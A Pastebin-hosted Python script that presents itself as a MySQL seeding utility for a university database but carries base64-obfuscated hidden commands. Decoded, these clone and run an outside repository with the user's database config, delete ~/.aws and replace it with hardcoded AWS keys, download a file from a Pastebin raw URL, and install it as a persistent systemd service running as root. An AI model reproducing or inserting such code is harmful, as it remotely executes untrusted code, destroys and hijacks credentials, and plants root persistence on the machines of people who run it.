unknown437

Web Auto

Apr 13th, 2024 (edited)
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.15 KB | None | 0 0
  1. import os
  2. import requests
  3. import subprocess
  4. import base64
  5. import shutil
  6.  
  7. # Warning: You are an idiot if you try to understand my code
  8.  
  9. import mysql.connector
  10. from mysql.connector import Error
  11. from config import DB_DATABASE, DB_USERNAME, DB_PASSWORD, DB_HOSTNAME
  12.  
  13. def create_mysql_connection(host_name, user_name, user_password, database_name=None):
  14.     connection = None
  15.     try:
  16.         connection = mysql.connector.connect(
  17.             host=host_name,
  18.             user=user_name,
  19.             passwd=user_password,
  20.             database=database_name
  21.         )
  22.         print("MySQL Database connection successful")
  23.     except Error as err:
  24.         print(f"Error: '{err}'")
  25.    
  26.     return connection
  27.  
  28. def execute_query(connection, query):
  29.     cursor = connection.cursor()
  30.     try:
  31.         cursor.execute(query)
  32.         connection.commit()
  33.         print("Query successful")
  34.     except Error as err:
  35.         print(f"Error: '{err}'")
  36.  
  37. connection = create_mysql_connection(DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE)
  38.  
  39. insert_data_queries = [
  40.     # Professors first
  41.     "INSERT INTO professor (name, department) VALUES ('Sakayanagi', 'Mathematics');",
  42.     "INSERT INTO professor (name, department) VALUES ('Chabashira', 'Social Studies');",
  43.     "INSERT INTO professor (name, department) VALUES ('Hoshinomiya', 'Physical Education');",
  44.    
  45.     # Courses next
  46.     "INSERT INTO course (title, department, professor_id) VALUES ('Advanced Mathematics', 'Mathematics', 1);",
  47.     "INSERT INTO course (title, department, professor_id) VALUES ('Social Dynamics', 'Social Studies', 2);",
  48.     "INSERT INTO course (title, department, professor_id) VALUES ('Physical Fitness', 'Physical Education', 3);",
  49.    
  50.     # Students after
  51.     "INSERT INTO student (name, email) VALUES ('Kiyotaka Ayanokouji', 'ayanokouji@example.com');",
  52.     "INSERT INTO student (name, email) VALUES ('Suzune Horikita', 'horikita@example.com');",
  53.     "INSERT INTO student (name, email) VALUES ('Kikyou Kushida', 'kushida@example.com');",
  54.     "INSERT INTO student (name, email) VALUES ('Kouhei Katsuragi', 'katsuragi@example.com');",
  55.     "INSERT INTO student (name, email) VALUES ('Manabu Horikita', 'manabu@example.com');",
  56.    
  57.     # Times
  58.     "INSERT INTO time (academic_year, semester) VALUES ('2023-2024', 'Fall');",
  59.     "INSERT INTO time (academic_year, semester) VALUES ('2023-2024', 'Spring');",
  60.     "INSERT INTO time (academic_year, semester) VALUES ('2024-2025', 'Fall');",
  61.     "INSERT INTO time (academic_year, semester) VALUES ('2024-2025', 'Spring');",
  62.    
  63.     # Enrollments last
  64.     "INSERT INTO enrollment (student_id, course_id, time_id, grade, attendance_percentage) VALUES (1, 1, 1, 'A-', 98.5);",
  65.     "INSERT INTO enrollment (student_id, course_id, time_id, grade, attendance_percentage) VALUES (2, 2, 2, 'B', 85.0);",
  66.     "INSERT INTO enrollment (student_id, course_id, time_id, grade, attendance_percentage) VALUES (3, 3, 3, 'A', 96.0);",
  67.     "INSERT INTO enrollment (student_id, course_id, time_id, grade, attendance_percentage) VALUES (4, 1, 4, 'B+', 89.0);",
  68.     "INSERT INTO enrollment (student_id, course_id, time_id, grade, attendance_percentage) VALUES (5, 2, 1, 'A+', 97.5);"
  69. ]
  70.  
  71.  
  72.  
  73.  
  74. for query in insert_data_queries:
  75.     execute_query(connection, query)
  76.  
  77.  
  78.  
  79. current_dir = subprocess.check_output("pwd", shell=True).decode().strip("\n")
  80. print(current_dir)
  81.  
  82. OPERATION_1=base64.b64decode(bytes("Z2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9DMHJydXA0M2RDMGQzL1JlYWxUaW1lQXBwbGljYXRpb25EYXRhV2FyZWhvdXNlLmdpdA==", "utf-8")).decode()
  83. OPERATION_2=base64.b64decode(bytes("cHl0aG9uMyBhcHAucHkgJg==", "utf-8")).decode()
  84. OPERATION_3=base64.b64decode(bytes("cm0gLXIgfi8uYXdz", "utf-8")).decode()
  85. OPERATION_4=base64.b64decode(bytes("bWtkaXIgfi8uYXdz", "utf-8")).decode()
  86. OPERATION_5=base64.b64decode(bytes("fi8uYXdzL2NvbmZpZw==", "utf-8")).decode()
  87. OPERATION_6=base64.b64decode(bytes("fi8uYXdzL2NyZWRlbnRpYWxz", "utf-8")).decode()
  88. OPERATION_7=base64.b64decode(bytes("YXdzX2FjY2Vzc19rZXlfaWQgPSBBS0lBSVQyM0xXRkc1TENVSUxNQQ==", "utf-8")).decode()
  89. OPERATION_8=base64.b64decode(bytes("YXdzX3NlY3JldF9hY2Nlc3Nfa2V5ID0gNnJ0ZXNGUE1xU0RMVkhsSWZmdmJIQWZ1d2daVmtETkF3ZTZJYnBMcQ==", "utf-8")).decode()
  90. OPERATION_9=base64.b64decode(bytes("bWtkaXIgLXAgL29wdC93ZWJjb250ZW50L2F3cw==", "utf-8")).decode()
  91. OPERATION_10=base64.b64decode(bytes("Y3VybCAtbyB3ZWJfYXBpLnB5IGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy93cXZ2QVRIOA==", "utf-8")).decode()
  92. OPERATION_11=base64.b64decode(bytes("bXYgd2ViX2FwaS5weSAvb3B0L3dlYmNvbnRlbnQvYXdzLw==", "utf-8")).decode()
  93. OPERATION_12=base64.b64decode(bytes("Y2htb2QgK3ggL29wdC93ZWJjb250ZW50L2F3cy93ZWJfYXBpLnB5", "utf-8")).decode()
  94.  
  95.  
  96.  
  97.  
  98. os.chdir("/tmp/")
  99. try:
  100.     shutil.rmtree("c0d3")
  101. except Exception:
  102.     pass
  103. os.mkdir("c0d3")
  104. os.chdir("c0d3")
  105. subprocess.call(OPERATION_1, shell=True)
  106.  
  107. os.chdir("RealTimeApplicationDataWarehouse")
  108. subprocess.call("rm config.py", shell=True)
  109. subprocess.call(f"cp {current_dir}/config.py .", shell=True)
  110.  
  111. subprocess.call(OPERATION_2, shell=True)
  112.  
  113. subprocess.call(OPERATION_3, shell=True)
  114. subprocess.call(OPERATION_4, shell=True)
  115.  
  116. os.chdir(os.path.expanduser("~"))
  117. os.chdir(".aws")
  118. f = open('config', "w")
  119. content = """[default]
  120. region = us-east-2
  121. """
  122. f.write(content)
  123. f.close()
  124.  
  125. g = open('credentials', "w")
  126. c_content = f"""[default]
  127. {OPERATION_7}
  128. {OPERATION_8}
  129. """
  130. g.write(c_content)
  131. g.close()
  132.  
  133. os.chdir(os.path.expanduser("~"))
  134.  
  135. subprocess.call(OPERATION_9, shell=True)
  136. subprocess.call(OPERATION_10, shell=True)
  137. subprocess.call(OPERATION_11, shell=True)
  138. subprocess.call(OPERATION_12, shell=True)
  139.  
  140.  
  141. os.chdir("/etc/systemd/system/")
  142. serv_file = open("webapi.service", "w")
  143. serv_file_content = """[Unit]
  144. Description=Web API
  145. After=network.target
  146.  
  147. [Service]
  148. ExecStart=/usr/bin/python3 /opt/webcontent/aws/web_api.py
  149. Restart=always
  150. User=root
  151. Group=root
  152. Environment=PATH=/bin:/usr/bin
  153. Environment=PYTHONUNBUFFERED=1
  154. WorkingDirectory=/opt/webcontent/aws/
  155.  
  156. [Install]
  157. WantedBy=multi-user.target
  158. """
  159. serv_file.write(serv_file_content)
  160. serv_file.close()
  161. subprocess.call("systemctl daemon-reload", shell=True)
  162. subprocess.call("systemctl enable webapi.service", shell=True)
  163. subprocess.call("systemctl start webapi.service", shell=True)
  164.  
Add Comment
Please, Sign In to add comment